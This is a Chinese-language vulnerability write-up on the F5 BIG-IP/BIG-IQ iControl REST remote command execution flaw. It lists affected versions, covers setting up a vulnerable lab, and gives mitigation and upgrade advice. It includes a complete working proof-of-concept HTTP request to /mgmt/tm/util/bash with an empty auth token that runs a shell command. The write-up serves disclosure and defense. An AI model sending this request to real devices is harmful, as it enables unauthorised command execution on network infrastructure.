文章来源:Timeline Sec
F5 BIG-IP是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。
F5 BIG-IP 15.1.0-15.1.2
F5 BIG-IP 14.1.0-14.1.3.1
F5 BIG-IP 13.1.0-13.1.3.5
F5 BIG-IP 12.1.0-12.1.5.2
F5 BIG-IQ 7.1.0-7.1.0.2
F5 BIG-IQ 7.0.0-7.0.0.1
F5 BIG-IQ 6.0.0-6.1.0
流程如下:
1、登陆F5官网申请测试license 90天
https://www.f5.com/trials
2、按流程注册登陆后获得license,会发送至注册邮箱
3、下载漏洞版本镜像
https://downloads.f5.com/esd/product.jsp?sw=BIG-IP&pro=big-ip_v14.x&ver=14.1.2
4、下载后使用Vmware安装即可
数据包如下,其中
Authorization: Basic YWRtaW46QVNhc1M=
base64解码值为admin:ASasS
需要注意此处X-F5-Auth-Token值为空
POC:
POST /mgmt/tm/util/bash HTTP/1.1
Host: your_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46QVNhc1M=
X-F5-Auth-Token:
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 41
{"command":"run","utilCmdArgs":"-c id"}
1、建议将F5 BIG-IP / BIG-IQ 升级至安全版本。
下载地址参考:
https://support.f5.com/csp/article/K02566623
2、建议利用阿里云安全组功能为 F5 BIG-IP / BIG-IQ 相关管理界面设置白名单,仅对可信地址开放访问。
参考链接:
http://www.jsdjbh.gov.cn/tgyj/746.htm
https://www.freebuf.com/vuls/266899.html
推荐文章++++